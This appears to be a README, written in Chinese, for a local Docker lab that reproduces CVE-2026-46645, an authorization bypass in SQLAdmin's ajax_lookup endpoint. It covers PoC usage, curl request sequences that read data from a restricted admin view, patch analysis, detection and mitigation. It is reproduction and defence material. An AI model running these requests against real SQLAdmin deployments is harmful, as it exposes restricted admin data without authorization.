此仓库包含一个本地 Docker 实验环境,用于复现 CVE-2026-46645,这是一个影响 SQLAdmin 的 ajax_lookup 端点的授权绕过漏洞。
SQLAdmin 是 Starlette 和 FastAPI 应用中 SQLAlchemy 模型的管理界面。当应用程序使用 is_accessible(request) 限制 ModelView 时,SQLAdmin 的 ajax_lookup 路由在返回查找结果前未强制执行相同的访问控制决策,从而产生该漏洞。
该实验环境对比了两个 SQLAdmin 版本:
| 服务 | SQLAdmin 版本 | 用途 | URL |
|---|
vuln | 0.25.0 | 易受攻击的目标 | http://127.0.0.1:8001 |
patched | 0.25.1 | 已修复的对比目标 | http://127.0.0.1:8002 |
演示的漏洞链为:```text Authenticated low-privileged user → restricted SQLAdmin ModelView → ModelView.is_accessible(request) returns False → user directly requests the ajax_lookup endpoint → SQLAdmin 0.25.0 returns relationship lookup data → SQLAdmin 0.25.1 blocks the same request with HTTP 403
本实验室特意使用简单的 `Report` / `SecretProject` 数据模型,以便于理解授权绕过问题。这些模型名称并非漏洞的根源,仅用于创建可控的复现条件。
本实验室仅用于可控的本地研究、源码级理解以及作品集展示。
## Verified Facts
| 声明 | 证据 | 如何在实验室中验证 |
| --------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------- |
| SQLAdmin 的 `ajax_lookup` 端点是受影响的组件。 | 公开公告将受影响端点格式描述为 `GET /{identity}/ajax/lookup?name=<field>&term=<query>`。 | 运行 PoC 并观察对 `/admin/report/ajax/lookup?name=project&term=Secret` 的请求。 |
| SQLAdmin `0.25.0` 被用作易受攻击的对比目标。 | 实验室在 `vuln` 容器中安装了 `sqladmin==0.25.0`。 | 运行 `docker compose exec -T vuln python -m pip show sqladmin`。 |
| SQLAdmin `0.25.1` 被用作已修补的对比目标。 | 公开公告和发布说明将 `0.25.1` 标识为修复版本。 | 运行 `docker compose exec -T patched python -m pip show sqladmin`。 |
| 根本原因在于 SQLAdmin 上游的 `Admin.ajax_lookup()` 路由。 | 该补丁为 `ajax_lookup()` 添加了缺失的身份验证和 `is_accessible(request)` 强制检查。 | 使用本 README 中的命令检查两个容器内的 `Admin.ajax_lookup()`。 |
| 实验室创建了一个受限的 `ModelView`。 | `ReportAdmin.is_accessible(request)` 故意返回 `False`。 | 检查 `app/main.py`。 |
| PoC 使用经过身份验证的会话。 | PoC 首先登录到 `/admin/login`,保留会话 cookie,然后请求 `ajax_lookup`。 | 运行 `python3 poc/poc.py --base-url http://127.0.0.1:8001`。 |
| 易受攻击的信号是数据泄露。 | SQLAdmin `0.25.0` 从一个受限视图返回 HTTP 200 和 JSON 查询结果。 | 易受攻击的目标应返回 `Secret Project Alpha` 和 `Secret Project Beta`。 |
| 已修补的信号是拒绝访问。 | SQLAdmin `0.25.1` 对同一经过身份验证的请求返回 HTTP 403。 | 已修补的目标应返回 `403 Forbidden`。 |
## 假设和未知因素
本实验室使用 `sqladmin==0.25.0` 作为易受攻击的基准,使用 `sqladmin==0.25.1` 作为已修补的基准。
实验室专注于授权绕过条件,其中:```text
A user is authenticated,
the target ModelView is not accessible,
but ajax_lookup is requested directly.
本实验室并不试图复现所有可能的 SQLAdmin 部署模式。它有意创建了一个小型 Starlette 应用程序,其中包含一个受限的管理员视图,以便轻松验证存在漏洞版本与已修补版本之间的行为差异。
Report 和 SecretProject 模型是仅限实验室使用的对象。它们不属于 SQLAdmin 本身。
该 PoC 未尝试进行权限提升、数据修改、会话窃取、外部回调、持久化或针对非实验室系统的攻击。
根本原因存在于 SQLAdmin 上游的 Admin.ajax_lookup() 路由中,而非本实验室的应用程序代码。
SQLAdmin 允许开发者通过重写以下方法来限制对管理员视图的访问:```python ModelView.is_accessible(request)
其他管理路由在允许请求继续之前,应该强制执行此访问控制决策。例如,list、create、details、delete、edit 和 export 等路由会检查当前请求是否有权访问目标 `ModelView`。
存在漏洞的 `ajax_lookup` 路由没有强制执行相同的访问控制决策。
`ajax_lookup` 端点被 SQLAdmin 的 `form_ajax_refs` 功能用于动态加载关联值。其端点格式为:```text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>
在存在漏洞的版本中,ajax_lookup() 解析出目标 ModelView,从查询字符串中读取查找字段名称和搜索词,然后调用 AJAX 加载器并返回 JSON 结果。缺失的安全步骤在于,它没有首先验证当前请求是否有权访问该 ModelView。
安全影响是:经过身份验证的用户可能被阻止通过正常 UI 路由访问受限的管理视图,但仍然可以直接请求该视图的 AJAX 查找端点,从而获取关系查询数据。
SQLAdmin 0.25.1 通过在 ajax_lookup() 内部强制实施访问控制来修复此问题。修补后的路由会检查 model_view.is_accessible(request),并在目标视图不可访问时返回 HTTP 403。
本实验室将 ReportAdmin.is_accessible(request) 定义为首始终返回 False,仅用于复现此漏洞条件。实验室代码并非根本原因。它是一个受控的测试框架,用于验证 SQLAdmin 上游 ajax_lookup() 路由是否尊重访问控制决策。
预期的行为差异:```text sqladmin 0.25.0 -> HTTP 200 with JSON lookup results sqladmin 0.25.1 -> HTTP 403 Forbidden
## 源码补丁摘要
有意义的 upstream 补丁是对 `Admin.ajax_lookup()` 添加了身份验证和授权强制执行。
修补后的行为等效于:```python
@login_required
async def ajax_lookup(self, request):
identity = request.path_params["identity"]
model_view = self._find_model_view(identity)
if not model_view.is_accessible(request):
raise HTTPException(status_code=403)
name = request.query_params.get("name")
term = request.query_params.get("term")
...
关键授权检查是:```python if not model_view.is_accessible(request): raise HTTPException(status_code=403)
该实验室演示了在易受攻击版本中缺少此检查,而在修补版本中存在此检查。
## 实验室架构
该实验室通过 Docker Compose 运行两个隔离的 Starlette 应用程序。```text
.
├── app/
│ ├── __init__.py
│ └── main.py
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
├── requirements/
│ ├── patched.txt
│ └── vuln.txt
└── vuln/
└── Dockerfile
两个服务运行相同的应用代码,但安装了不同版本的 SQLAdmin:
| 服务 | 包版本 | 端口映射 |
|---|---|---|
vuln | sqladmin==0.25.0 | 127.0.0.1:8001 -> 8000 |
patched | sqladmin==0.25.1 | 127.0.0.1:8002 -> 8000 |
该应用创建了两个 SQLAlchemy 模型:```text SecretProject Report
`Report` 与 `SecretProject` 存在关系:```text
Report.project -> SecretProject
ReportAdmin 定义了一个 AJAX 关系查找:```python
form_ajax_refs = {
"project": {
"fields": ("name",),
"order_by": "name",
"limit": 10,
}
}
受限管理员视图为:```python
class ReportAdmin(ModelView, model=Report):
def is_accessible(self, request):
return False
这故意创建了测试SQLAdmin的ajax_lookup()路由是否强制执行is_accessible()所需的条件。
PoC所使用的易受攻击的端点是:```text /admin/report/ajax/lookup?name=project&term=Secret
默认实验室凭据:```text
username: analyst
password: lab-password
requests 包curl如果需要,请在主机上安装 PoC 依赖项:```bash python3 -m pip install requests
## 快速开始
构建并启动实验室:```bash
docker compose down --remove-orphans
docker compose up --build -d
检查容器状态:```bash docker compose ps
预期暴露的服务:```text
Vulnerable target: http://127.0.0.1:8001
Patched target: http://127.0.0.1:8002
检查健康端点:```bash curl -i http://127.0.0.1:8001/health curl -i http://127.0.0.1:8002/health
两者都应该返回:```json
{"status":"ok"}
如果需要,在浏览器中打开管理界面:```text http://127.0.0.1:8001/admin http://127.0.0.1:8002/admin
登录凭据:```text
analyst / lab-password
针对易受攻击的服务运行 PoC:```bash
python3 poc/poc.py
--base-url http://127.0.0.1:8001
--label "sqladmin 0.25.0 vulnerable"
对打补丁后的服务运行相同的PoC:```bash
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched"
该PoC执行以下步骤:```text
PoC 有意打印了请求和响应流程,以便读者能够看到授权绕过。
## 使用 curl 手动复现 HTTP
你可以不使用 `poc/poc.py` 而手动复现该漏洞。
当你想展示精确的 HTTP 流程时,这很有用:```text
login
→ save session cookie
→ send ajax_lookup request
→ compare vulnerable and patched responses
设置脆弱目标URL:```bash TARGET="http://127.0.0.1:8001" COOKIE_JAR="/tmp/cve-2026-46645-vuln.cookies"
以实验室用户身份登录并保存会话cookie:```bash
curl -i -s -L \
-c "$COOKIE_JAR" \
-b "$COOKIE_JAR" \
-X POST "$TARGET/admin/login" \
-d "username=analyst" \
-d "password=lab-password"
发送受限的 ajax_lookup 请求:```bash
curl -i -s
-b "$COOKIE_JAR"
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"
预期的易受攻击结果:```http
HTTP/1.1 200 OK
content-type: application/json
预期的内容:```json { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] }
这确认了脆弱行为,因为请求已通过身份验证,`ReportAdmin.is_accessible(request)` 返回 `False`,但 SQLAdmin `0.25.0` 仍然返回查找数据。
### 已修补的目标
设置已修补的目标 URL:```bash
TARGET="http://127.0.0.1:8002"
COOKIE_JAR="/tmp/cve-2026-46645-patched.cookies"
以相同的实验用户身份登录:```bash
curl -i -s -L
-c "$COOKIE_JAR"
-b "$COOKIE_JAR"
-X POST "$TARGET/admin/login"
-d "username=analyst"
-d "password=lab-password"
发送相同的受限 `ajax_lookup` 请求:```bash
curl -i -s \
-b "$COOKIE_JAR" \
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"
预期修补结果:```http HTTP/1.1 403 Forbidden
这确认了修补后的行为,因为 SQLAdmin `0.25.1` 强制了在 `ajax_lookup()` 内部缺失的 `ModelView.is_accessible(request)` 检查。
### 一行对比
易受攻击的服务:```bash
curl -s -L \
-c /tmp/cve-2026-46645-vuln.cookies \
-b /tmp/cve-2026-46645-vuln.cookies \
-X POST http://127.0.0.1:8001/admin/login \
-d "username=analyst" \
-d "password=lab-password" >/dev/null && \
curl -i -s \
-b /tmp/cve-2026-46645-vuln.cookies \
"http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret"
已修补的服务:```bash
curl -s -L
-c /tmp/cve-2026-46645-patched.cookies
-b /tmp/cve-2026-46645-patched.cookies
-X POST http://127.0.0.1:8002/admin/login
-d "username=analyst"
-d "password=lab-password" >/dev/null &&
curl -i -s
-b /tmp/cve-2026-46645-patched.cookies
"http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret"
预期比较:```text
sqladmin 0.25.0 -> HTTP 200 + JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden
Base URL : http://127.0.0.1:8001 Login URL : http://127.0.0.1:8001/admin/login Lookup URL : http://127.0.0.1:8001/admin/report/ajax/lookup Lookup params : name='project', term='Secret'
Request: POST http://127.0.0.1:8001/admin/login form username='analyst' form password=
Response: HTTP status : 200 Final URL : http://127.0.0.1:8001/admin/ Cookies : {'session': ''}
Security condition:
Response: HTTP status : 200 Content-Type : application/json
Body: { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] }
[VULNERABLE SIGNAL] The restricted ajax_lookup endpoint returned HTTP 200 and JSON results. This means an authenticated user could query lookup data even though ReportAdmin.is_accessible(request) returned False.
已修补的目标:```text
================================================================================
Target: sqladmin 0.25.1 patched
================================================================================
Base URL : http://127.0.0.1:8002
Login URL : http://127.0.0.1:8002/admin/login
Lookup URL : http://127.0.0.1:8002/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'
================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8002/admin/login
form username='analyst'
form password=<hidden>
Response:
HTTP status : 200
Final URL : http://127.0.0.1:8002/admin/
Cookies : {'session': '<redacted>'}
================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret
Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.
Response:
HTTP status : 403
Content-Type : text/html; charset=utf-8
================================================================================
Step 3 - Interpretation
================================================================================
[PATCHED SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 403.
This matches the patched behavior introduced in SQLAdmin 0.25.1.
PoC 使用 Python 的 requests 库和一个持久的 requests.Session() 对象。
首先,它向 SQLAdmin 进行身份验证:```text POST /admin/login
使用实验室凭据:```text
analyst / lab-password
登录后,会话对象会保存返回的会话Cookie。
然后,PoC发送受限的AJAX查找请求:```text GET /admin/report/ajax/lookup?name=project&term=Secret
在实验室应用中,此请求针对 `ReportAdmin`。
`ReportAdmin` 故意设置为不可访问:```python
def is_accessible(self, request):
return False
这是实验室条件。它不是上游漏洞。
正在测试的安全问题是:```text Does SQLAdmin's upstream ajax_lookup route enforce the ModelView access decision?
对于 SQLAdmin `0.25.0`,该端点返回 HTTP 200 和 JSON 查询结果。这确认了易受攻击的行为。
对于 SQLAdmin `0.25.1`,该端点返回 HTTP 403。这确认了已修补的行为。
## 有用的验证命令
Check running containers:```bash
docker compose ps
检查服务日志:```bash docker compose logs vuln patched
检查已安装的SQLAdmin版本:```bash
docker compose exec -T vuln python -m pip show sqladmin
docker compose exec -T patched python -m pip show sqladmin
预期版本:```text vuln -> Version: 0.25.0 patched -> Version: 0.25.1
再次运行 PoC:```bash
python3 poc/poc.py \
--base-url http://127.0.0.1:8001 \
--label "sqladmin 0.25.0 vulnerable"
保存证据输出:```bash
mkdir -p evidence
python3 poc/poc.py \
--base-url http://127.0.0.1:8001 \
--label "sqladmin 0.25.0 vulnerable" \
| tee evidence/poc-vuln-0.25.0.txt
python3 poc/poc.py \
--base-url http://127.0.0.1:8002 \
--label "sqladmin 0.25.1 patched" \
| tee evidence/poc-patched-0.25.1.txt
docker compose ps | tee evidence/docker-compose-ps.txt
docker compose logs vuln patched > evidence/docker-compose-logs.txt
检查已安装的易受攻击的源:```bash docker compose exec -T vuln python - <<'PY' import inspect import sqladmin.application
print(sqladmin.application.file) print(inspect.getsource(sqladmin.application.Admin.ajax_lookup)) PY
检查已安装的补丁源码:```bash
docker compose exec -T patched python - <<'PY'
import inspect
import sqladmin.application
print(sqladmin.application.__file__)
print(inspect.getsource(sqladmin.application.Admin.ajax_lookup))
PY
存在漏洞的版本不应在 ajax_lookup() 内部强制执行 model_view.is_accessible(request) 检查。
修补后的版本应包含一个等效于以下内容的授权检查:```python if not model_view.is_accessible(request): raise HTTPException(status_code=403)
## 检测与监控
在使用 SQLAdmin 的实际应用程序中,可疑活动可能表现为直接对 AJAX 查找端点的请求:```text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>
对于本实验室,有用的日志指标包括:```text GET /admin/report/ajax/lookup?name=project&term=Secret
预期的易受攻击的日志模式:```text
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 200 OK
预期的修补后日志模式:```text GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 403 Forbidden
潜在的生产环境监控建议:
* 审查对 `/ajax/lookup` 端点的直接访问,
* 将查找访问与预期的管理 UI 工作流程进行比较,
* 监控来自低权限账户的重复查找术语,
* 检查敏感 `ModelView` 类是否使用了 `form_ajax_refs`,
* 验证受限模型视图是否仍通过关系查找暴露。
## 缓解措施与补丁说明
将 SQLAdmin 升级至 `0.25.1` 或更高版本。
该补丁为 `ajax_lookup` 路由添加了缺失的访问控制实施。修补后的端点会检查当前请求是否有权限访问目标 `ModelView`。如果 `is_accessible(request)` 返回 `False`,则该请求被 HTTP 403 阻止。
应用程序层面的加固建议:
* 升级 SQLAdmin 至已修补版本,
* 审查所有自定义的 `ModelView.is_accessible()` 实现,
* 除非必要,避免通过 `form_ajax_refs` 暴露敏感关系查找,
* 通过常规 UI 路由和 AJAX 查找路由测试受限管理视图,
* 监控对 `/admin/*/ajax/lookup` 端点的访问,
* 确保管理认证和会话处理配置正确。
## 清理
停止并移除容器和网络:```bash
docker compose down --remove-orphans
移除容器、网络和匿名卷:```bash docker compose down -v --remove-orphans
如果需要,删除本地构建的镜像:```bash
docker image rm \
cve-2026-46645-sqladmin-vuln:0.25.0 \
cve-2026-46645-sqladmin-patched:0.25.1 \
2>/dev/null || true
如果需要,删除证据文件:```bash rm -rf evidence/
## 安全边界
本实验室仅用于本地安全研究和受控演示。
请勿将 PoC 用于您不拥有或未经许可测试的系统。
请勿在本实验室中使用真实凭据、生产机密或外部目标。
PoC 被有意限制在本地 Docker 服务,例如:```text
http://127.0.0.1:8001
http://127.0.0.1:8002
该PoC不包含用于凭据窃取、数据修改、持久化、横向移动或外部回调的有效载荷。
目标是演示一个受控环境中的特定授权绕过条件:```text authenticated user
## 参考资料
- GitHub 安全公告:SQLAdmin Authorization Bypass on ajax_lookup
https://github.com/advisories/GHSA-54mc-gghv-4cfj
- OSV 公告:GHSA-54mc-gghv-4cfj / CVE-2026-46645
https://osv.dev/vulnerability/GHSA-54mc-gghv-4cfj
- SQLAdmin 发布 0.25.1
https://github.com/smithyhq/sqladmin/releases/tag/0.25.1
- SQLAdmin 比较:0.25.0 到 0.25.1
https://github.com/smithyhq/sqladmin/compare/0.25.0...0.25.1
- SQLAdmin 0.25.0 application.py
https://github.com/smithyhq/sqladmin/blob/0.25.0/sqladmin/application.py
- SQLAdmin 0.25.1 application.py
https://github.com/smithyhq/sqladmin/blob/0.25.1/sqladmin/application.py
- SQLAdmin 身份验证测试
https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_authentication.py
- SQLAdmin AJAX 测试
https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_ajax.py
- PyPI: sqladmin
https://pypi.org/project/sqladmin/
- SQLAdmin GitHub 仓库
https://github.com/smithyhq/sqladmin